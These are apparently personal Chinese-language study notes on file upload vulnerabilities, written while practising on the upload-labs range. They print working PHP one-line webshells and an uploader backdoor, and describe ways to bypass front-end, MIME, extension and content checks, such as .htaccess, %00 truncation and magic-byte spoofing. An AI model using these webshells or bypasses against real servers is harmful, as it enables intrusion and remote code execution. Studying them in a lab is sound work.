文件上传漏洞
一、webshell
1、特点
- 以动态脚本形式出现
- asp或php木马后门
- 可以穿过服务器防火墙,通过80端口传输数据
- 一般不会在系统日志中留下记录,只会在web日志中留下数据传输记录
2、常见webshell
Get 方式
<?php eval($_GET[pass]);?>
Post方式
<?php eval($_POST[pass]);?>
Cookie
<?php @$a = $_COOKIE[1]; $c = '';@assert($b,$a);?>
3、攻击流程
- 利用web漏洞获取web权限
- 上传小马
- 上传大马
- 远程调用webshell执行命令
4、基本原理
- 可执行脚本
- 数据传递
- 执行传递的数据
二、实现木马注入
1、
2、上传小马
<?php
@$temp = $_FILES['upload_file']['tmp_name'];
@$file = basename($_FILES['upload_file']['name']);
if (empty($file)){
echo "<form action = '' method = 'POST' ENCTYPE='multipart/form-data'>\n";
echo "Local file: <input type = 'file' name = 'upload_file'>\n";
echo " <input type = 'submit' value='Upload'>\n";
echo "</form>\n<pre>\n\n</pre>";
}
else {
if (move_uploaded_file($temp,$file)){
echo "File uploaded successfully.<p>\n";
}else {
echo "Unable to upload".$file.".</p>\n";
}
}
?>
3、上传大马
三、 文件上传基础
1、什么是文件上传
将客户端数据以文件形式封装,通过网络协议发送到服务器。在服务器端解析数据,最后作为服务端硬盘上作为真实文件保存
2、文件上传产生漏洞的原因
- 配置不当
- 开源编辑器的上传漏洞
- 文件上传限制被绕过
- 文件解析漏洞导致文件执行
- 过滤不严被绕过
3、危害
攻击者上传恶意文件通过解析器去执行,在服务器上执行恶意代码
4、可能存在漏洞的位置
- 图片上传功能
- 头像上传功能
- 文档上传功能
5、文件上传测试方式
1、客户端JavaScript 检测(检测文件拓展名)
2、服务器 MIME类型检测(检测 contect-type 内容)
3、服务端目录路径检测(检测跟参数 path 相关的内容)
4、服务端文件拓展名检测(检测跟文件extension相关的内容)
5、服务端文件内容检测(检测内容是否合法是否含有恶意代码)
6、文件上传绕过
7、绕过客户端检测
原理
在上传页面里通常会有检测文件上传的 JavaScript 代码,一般是检测文件类型和拓展名是否合法
方法
在本地浏览器通过插件禁用JS
四、upload-labs
1、搭建靶场
1.用 docker 搜索 upload-labs
dockder search upload-labs
2.拉取
docker pull c0ny1/upload-labs
3.查看镜像库
docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
c0ny1/upload-labs latest aa4fdd1dd211 4 years ago 472MB
acgpiano/sqli-labs latest 0976afc45249 7 years ago 434MB
nooneandu/sqli-labs latest 0976afc45249 7 years ago 434MB
4.运行
docker run -d -p 80:80 c0ny1/upload-labs
这里不知道为什么运行不了
选择直接git clone 源代码到 apache根目录运行
2、绕过前端检测
一般前端会有 JavaScript 对上传的数据进行检测
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
<p>请选择要上传的图片:<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
onsubmit="return checkFile()"
就是前端过滤的方法,当上传违规文件是就会进行拦截报错
一般有两种方法可以进行绕过
1.用浏览器工具删除前端的过滤代码
2.先把数据后缀改变,利用 BP 进行拦截数据包,在传输的过程中修改,数据类型
把 ‘as.png’成’as.php’,就可以绕过,成功访问传输成功的 PHP 文件
碰到一个坑,提示:上传出错
看了一下,不是因为拦截代码,是因为这一串
<?php
include '../config.php';
include '../head.php';
include '../menu.php';
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
//出错部分
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
1.可能是因为$temp_file, $img_path
这个两个参数不识别
2.可能版本原因部分参数不适用
解决:docker 换了一个monstertsl/upload-labs:latest,之前使用的是c0ny1/upload-labs,目前什么原因还不知道
3、绕过服务端检测
服务端代码通常检测三个点:MIME类型,文件后缀,文件内容
常见MIME类型
- 超文本标记语言文本 .html,.html text/html
- 普通文本 .txt text/plain
- RTF文本 .rtf application/rtf
- GIF图形 .gif image/gif
- JPEG图形 .jpeg,.jpg image/jpeg
- au声音文件 .au audio/basic
- MIDI音乐文件 mid,.midi audio/midi,audio/x-midi
- RealAudio音乐文件 .ra, .ram audio/x-pn-realaudio
- MPEG文件 .mpg,.mpeg video/mpeg
- AVI文件 .avi video/x-msvideo
- GZIP文件 .gz application/x-gzip
- TAR文件 .tar application/x-tar
1.MIME类型检测 绕过
原理:检测图片类型文件上传过程中 http的Content-Type字段的值,来判断上传文件是否合法
绕过方法:用 BP截取并修改Content-Type字段来绕过
2.绕过文件后缀检测
黑名单策略:
文件扩展名在黑名单中为不合法,一般有一个专门的黑名单列表,里面会包含常见的危险脚本文件
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pYsGBYlw-1692601986778)(/Users/caodelong/Library/Application Support/typora-user-images/image-20230815224859809.png)]
黑名单绕过方法
- 后缀大小写绕过:在对后缀的判断中,如果只是对字符串进行单独的比较来判断是不是限制文件,可以采用后缀名大小写绕过形式
- 空格绕过:如果黑名单没有对后缀名进行去空处理,可以通过后缀名后加空进行绕过
- 点绕过:window 特性
- ::$DATA:window 特性
- 配合 Apache解析漏洞:Apache 解析文件是从右往左判断,a.php.owf.rar,Apache 不能判断 owf 和 rar 后缀最后把该文件解析成 a.php 文件
- .htaccess 文件绕过:配合名单列表绕过,上传一个自定义的.htaccess,就可以轻松绕过任何检测
Htaccess 文件,提供了针对目录改变配置的方法,即在一个特定的文档目录中放置一个包含一个或多个指令的文件夹,以作用于此目录及所有子目录。作为用户,所能使用的命令受到限制。
白名单策略:
文件扩展名不在白名单里不合法
白名单绕过方法
服务端判断文件类型是从后往前判断,而对文件解析是从前往后解析,可以利用00截断的方式进行绕过,包括%00截断与0x00截断
%00,是 URL 的特殊编码,类似于注释后面的后缀名,例如a.php%00.png ==>a.php
3.绕过文件内容检测
一般通过检测文件内容判断文件是否合法
两种主要的检测方法
- 通过检测文件开始处的文件幻数来判断
通常情况下,通过判断前10个字节,就能判断出一个文件真实的类型
- 文件加载检测
一般通过调用 API 或者函数进行加载测试。常见的是图像渲染测试,再严格一些就是二次渲染
绕过方法
- 主要在PHP文本里的第一行加入对应的文件幻数
- 对渲染加载测试攻击-代码注入绕过:用图像处理软件对一个图片进行代码注入
- 对二次渲染的攻击方式–攻击文件加载器自身:这种情况无法用代码注入绕过,二次渲染会把不属于图像数据的部分分割开来
用溢出攻击对文件加载器进行攻击,上传恶意文件后,服务器上的文件加载器会进行加载测试,加载测试时被溢出攻击执行 shellcode
攻击原理:在不破坏本身的渲染情况下找到一个空白区域 进行填充代码,一般是图片的注释区,这样能保证文本结构完整,对于渲染测试基本都能绕过
常见文件幻数
JPEG (jpg),文件头:FFD8FF
PNG (png),文件头:89504E47
GIF (gif),文件头:47494638
TIFF (tif),文件头:49492A00
Windows Bitmap (bmp),文件头:424D
CAD (dwg),文件头:41433130
Adobe Photoshop (psd),文件头:38425053
Rich Text Format (rtf),文件头:7B5C727466
XML (xml),文件头:3C3F786D6C
HTML (html),文件头:68746D6C3E
Email [thorough only] (eml),文件头:44656C69766572792D646174653A
Outlook Express (dbx),文件头:CFAD12FEC5FD746F
Outlook (pst),文件头:2142444E
MS Word/Excel (xls.or.doc),文件头:D0CF11E0
MS Access (mdb),文件头:5374616E64617264204A
WordPerfect (wpd),文件头:FF575043
Adobe Acrobat (pdf),文件头:255044462D312E
Quicken (qdf),文件头:AC9EBD8F
Windows Password (pwl),文件头:E3828596
ZIP Archive (zip),文件头:504B0304
RAR Archive (rar),文件头:52617221
Wave (wav),文件头:57415645
AVI (avi),文件头:41564920
Real Audio (ram),文件头:2E7261FD
Real Media (rm),文件头:2E524D46
MPEG (mpg),文件头:000001BA
MPEG (mpg),文件头:000001B3
Quicktime (mov),文件头:6D6F6F76
Windows Media (asf),文件头:3026B2758E66CF11
MIDI (mid),文件头:4D546864
五、Web 解析漏洞
1、Apache 解析漏洞
2、IIS6.0解析漏洞
3、IIS7.0解析漏洞
4、Nginx 解析漏洞